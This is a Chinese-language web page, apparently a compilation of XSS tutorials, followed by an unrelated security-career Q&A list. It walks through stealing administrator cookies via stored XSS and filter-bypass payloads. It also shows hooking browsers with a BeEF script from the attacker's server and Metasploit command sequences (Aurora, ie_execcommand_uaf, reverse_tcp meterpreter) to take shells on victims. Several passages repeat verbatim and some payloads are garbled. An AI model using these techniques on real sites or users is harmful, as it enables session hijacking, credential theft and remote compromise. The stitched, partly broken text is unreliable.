跨站脚本攻击:cross site script
execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式,很多人对于xss的利用大多停留在弹框框的程度,一些厂商对xss也是不以为然,都认为安全级别很低,甚至忽略不计,本文旨在讲述关于跨站脚本攻击的利用方式,并结合实例进行分析。
XSS (cross-site script) 跨站脚本自1996年诞生以来,一直被OWASP(open web application security project) 评为十大安全漏洞中的第二威胁漏洞。也有黑客把XSS当做新型的“缓冲区溢出攻击”而JavaScript是新型的shellcode。2011年6月份,新浪微博爆发了XSS蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。XSS最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。
XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所以将跨站脚本攻击缩写为XSS。XSS注入攻击的原理其实和SQL注入攻击的原理很相似,攻击者将恶意的Script代码插入到网页中,当正常用户浏览该页面时,被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。
0x00 前言
某日,某位小伙伴在微信上发我一个问题,如何利用已知的存储型XSS漏洞在后渗透测试中扩大战果,如RCE?想来这是个很值得思考的一个问题,故有此文。
0x01 分析
首先分析一下问题的题干:
存储型XSS
后渗透利用
首先整理一下可能的思路:
思路一:利用浏览器的漏洞来达到代码执行的效果
思路二:利用浏览器的内置功能直接执行系统命令,如:IE的ActiveX
思路三:利用XSS获取NTLMhash再结合SMB Relay攻击来渗透内网
思路一的利用成本较高尤其是当下的浏览器想找到一个好用的RCE漏洞不是难么容易,放弃!
思路二的利用局限性很大,尤其是IE的ActiveX功能由于安全性问题默认都是Disable的,放弃!
那么现在就剩下思路三了,当然这也是今天这篇文章想要重点探讨的一个方法。
众所周知,在内网渗透里的一个常见步骤就是获取内网中主机的NTLMhash,从而用来离线破解可能的弱密码或者利用Pass The Hash攻击,其实还有种方法是SMB Relay,相关的利用文章有很多,具体可以参考如下,这里就不在赘述。
https://blog.skullsecurity.org/2008/ms08-068-preventing-smbrelay-attacks
那么如何通过XSS来获得NTLMhash呢?
其实原理很简单,Windows系统上只要某个应用可以访问UNC路径下的资源,系统就会默认发送NTLMhash至UNC服务器,比如如下可行的方法:
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
https://cqureacademy.com/blog/penetration-testing/smb-relay-attack
https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python
XSS的fuzz payload字典
CORS
盗取httponly cookie
缓存投毒
cookie炸弹
水坑攻击
rpo
原型链污染
关于原型链
关于原型链污染
浏览器记住密码机制利用
渗透测试之XSS漏洞详细使用教程【攻防演练】
xss之渗透测试
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式,很多人对于xss的利用大多停留在弹框框的程度,一些厂商对xss也是不以为然,都认为安全级别很低,甚至忽略不计,本文旨在讲述关于跨站脚本攻击的利用方式,并结合实例进行分析。
XSS (cross-site script) 跨站脚本自1996年诞生以来,一直被OWASP(open web application security project) 评为十大安全漏洞中的第二威胁漏洞。也有黑客把XSS当做新型的“缓冲区溢出攻击”而JavaScript是新型的shellcode。2011年6月份,新浪微博爆发了XSS蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。XSS最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。
由于web应用程序对用户的输入过滤不严产生的。攻击者利用网站漏把恶意的脚本代码注入到网页中,当用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。
危害——
网络钓鱼,包括盗取各类的用户账号
窃取用户cookie
窃取用户浏览请回话
强制弹出广告页面、刷流量
网页挂马
提升用户权限,进一步渗透网站
传播跨站脚本蠕虫等等
Xss脚本示例——
xsx test[removed]alert(“xss”)[removed]
这段代码使用alert函数来执行打开一个消息框,消息框中显示xss信息,使用xss弹出恶意警告框,代码为:
escript>alert(“xss") [removed]
XSS输入也可能是htm代码段,如果使网页不停的刷新,代码为
嵌入其他网站链接的代码为:
< ifame width =0 height =0>
Xss分类——
反射型xss(一次性)
存储型xss(持久有效)
反射型:
反射型XSS脚本也称作非持久型、参数型跨站脚本、这类型的脚本是最常见的也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中
如:http://www.xx.com/search.php.?key=">[removed]alert("xss")[removed]一般使用的将构造好的URL发给受害者,是受害者点击触发,而且只执行一次。
存储型:
存储型XSS比反射型跨站脚本更具威胁性,并且可能影响到web服务器的自身安全。此类XSS不需要用户点击特定的URL就能执行脚本,攻击者事先将恶意JavaScript代码上传或存储到有漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。
Xss常用工具——(火狐插件)
Hackebar
Live http headers
Editor cookie
Live HTTP Headers:
该工具可以用来抓取http/https的数据连接( 包括get 和post),获取web应用程序流出的流入的数据。我们可以利用该工具发掘web应用程序中的安全漏洞。
Editor cookie:
Cookie信息修改器
示例:
留言板盗取cookie信息
当管理审核后,弹出及有xss漏洞
去注册一个免费xss平台,然后创建一个项目,查看代码,复制到留言板上
然后xss免费平台就会返回内容
这个就是网站管理员cookie
绕过xss限制的几种办法
magic_quote_gpc
HEX编码
改变大小写
关闭标签
绕过magic_quote_gpc:
magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单
引号)转换为\’,”(双引号)号转换为\”, \转换为\\。
比如[removed] alert(“xss”);[removed]会转换为[removed] alert(\”xss\”);[removed],这样XSS就不生效了。针对开启了magic quotes_gpc的网站,可以通过javascript中的String.fromCharCode方法来绕过,可以把alert(“XSS")转换为String.fromCharCode(108,101,114,116,40 34,88,83,83,34,41)那么XSS语句就变成了[removed]String.fromCharCode(108,101,114,116,40,34,88,83,83,34.,41,59) [removed]String.fromCharCode()是javascri中的字符申方法,用来 把ASCI转换为字符审。
HEX编码:
可以对语句进行hex编码来绕过XSS规则。
比如: [removed] alert("xss");[removed]
可以转换为:
[removed]
在线网站:
http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html
http://www.asciitohex.com/
改变大小写:
在测试过程中,我们可以改变测试语句的大小来绕过xss规则,如[removed] alert("xss");[removed]可以转换为[removed] Alert("Xss");[removed]
关闭标签:
[removed] alert(“xss”);[removed] < >XSS+Beef的使用
示例1:利用beef劫持客户端浏览器
启动beef(用户名beef,密码beef)
[removed]自己管理的服务器ip:3000/hook.js">[removed](把这恶意代码上传到有xss漏洞的网站)
当有人访问这个网站的时候,恶意代码生效,我们返回本机beef控制台查看上线客户机
然后劫持浏览器
示例2.利用beef+msf拿用户shell(基于客户端ie6)
先劫持浏览器,然后启动msf
msf > use exploit/windows/browser/ms10_002_aurora(选择漏洞模块)
msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp(选择回链)
msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.156(客户机访问的地址)
msf exploit(ms10_002_aurora) > set SRVPORT 7777(客户机访问的端口)
msf exploit(ms10_002_aurora) > set URIPATH /(网页的根/)
msf exploit(ms10_002_aurora) > set LHOST 192.168.230.100(客户机回链,写自己的地址)
msf exploit(ms10_002_aurora) > set LPORT 4444(回链端口)
msf exploit(ms10_002_aurora) > exploit (开始攻击)
把msf生成的那个连接扔beef去,让客户端访问指定的网站就会触发这个漏洞,就可以拿到客户端权限。
回车》键入sessions -i 》sessions -i 1》shell(成功拿到客户端权限)
示例3.利用beef+msf拿用户shell(基于客户端使用ie789)
先劫持浏览器
msf > use exploit/windows/browser/ie_execcommand_uaf
msf exploit(ie_execcommand_uaf) > show options
msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.230.156
msf exploit(ie_execcommand_uaf) > set SRVPORT 8888
msf exploit(ie_execcommand_uaf) > set URIPATH /
msf exploit(ie_execcommand_uaf) > exploit
然后把生成的这个连接扔beef里,让客户端访问,msf就有返回回链会话,就可以拿到客户端权限了
Xss漏洞扫描与留长期后门——
常用工具:
Wvs
Safe3
W3af
Vega
Xss扫描插件+burp(去下载扫描插件在导入就可以)
XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所以将跨站脚本攻击缩写为XSS。XSS注入攻击的原理其实和SQL注入攻击的原理很相似,攻击者将恶意的Script代码插入到网页中,当正常用户浏览该页面时,被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。
XSS分类
跨站脚本注入漏洞是由于WEB服务器读取了用户可控数据输出到HTML页面的过程中没有进行安全处理导致的,用户可控数据包括url、参数、HTTP头部字段(cookie、referer、HOST等)、HTTP请求正文等。
XSS危害
相关问题推荐
这个还是因人而异吧,看你自己对哪方面感兴趣,兴趣是最好的老师,感兴趣了才愿意钻研学习下去,简单说一下这两个学习知识方面的不同吧:软件测试岗位虽然对于从业者的知识基础要求不高,但是软件测试岗位所涉及到的知识面还是比较广的,所以软件测试人员也需...
SQL注入漏洞的危害:1、数据库中存储的用户隐私信息泄漏;2、通过操作数据库对某些网页进行篡改;3、修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;4、数据库服务器被恶意操作,系统管理员帐户被窜改;5、数据库服务器提供的操作系统支持,让黑客得以...
一、CISP(Certified Information Security Professional)证书中文叫注册信息安全专业人员,由中国信息安全产品测评认证中心实施的国家认证。可以说,这是目前国内对于个人来说认可度最高的信息安全人员资质,堪称最权威、最专业、最系统。根据实际岗位的不...
渗透测试(也称为pentest)是测试移动应用程序漏洞的过程。此测试的主要目的是确保外部人员的重要数据.通过模拟黑客的思维和攻击手段,对计算机业务系统的弱点、技术缺陷和漏洞进行探查评估。经过客户授权后,在不影响业务系统正常运行的条件下,渗透人员在黑...
网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭受到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。主要涉及到的有:1、物理措施:例如,保护网络关键设备(如交换机、大型计算机等),制定严格的网络...
网络安全工程师学习内容: 1、计算机应用、计算机网络、通信、信息安全等相关专业本科学历,三年以上网络安全领域工作经验; 2、精通网络安全技术:包括端口、服务漏洞扫描、程序漏洞分析检测、权限管理、入侵和攻击分析追踪、网站渗透、病毒木马防...
学历不是问题,技术才是硬道理!只要你的技术过硬的话,你完全可以进国家安全部门去工作的。比如公安局里的网监工作,大都是九零后的电脑方面的精英。未必都是本科生。还有从社会上特招进去的。所以说,现在是拿技术说话,不是靠学历吃饭的时代了。 网...
网络安全的知识是比较简单的,比较好入门,好多知识理论,大家都是可以听懂的,这是完全没有问题的。网络安全最终的则是实战的应用,怎么把这些理论知识运用到事件中,这些才是重中之重。所以在选择培训机构的时候,也需要尽量去找这些实践操作多的培训机构。...
能够胜任的岗位主要有:渗透测试工程师、大数据安全工程师、信息安全工程师、安全测试工程师、安全服务工程师、安全运维工程师、系统安全工程师、服务器安全工程师、云计算安全工程师、网络安全工程师、安全分析师、渗透讲师等; 按照web渗透、内网渗透...
一些典型的网络安全问题,可以来梳理一下:IP安全:主要的攻击方式有被动攻击的网络窃听,主动攻击的IP欺骗(copy报文伪造、篡改)和路由攻击(中间人攻击);2. DNS安全:这个大家应该比较熟悉,修改DNS的映射表,误导用户的访问流量;3. DoS攻击:单一攻击...
运维一般是设备或者环境的搭建和维护,网络安全可以看做是防火墙
先说说运维工程师和网络工程师的区别。运维工程师是泛指,网络工程师为特指,所以不能这么对比。你应该这么理解,网络工程师是一个人(也可以是理解成一个岗位),而运维则是他的工作内容。从工作内容上来说,运维可细分为桌面运维、网络运维、服务器运维三大...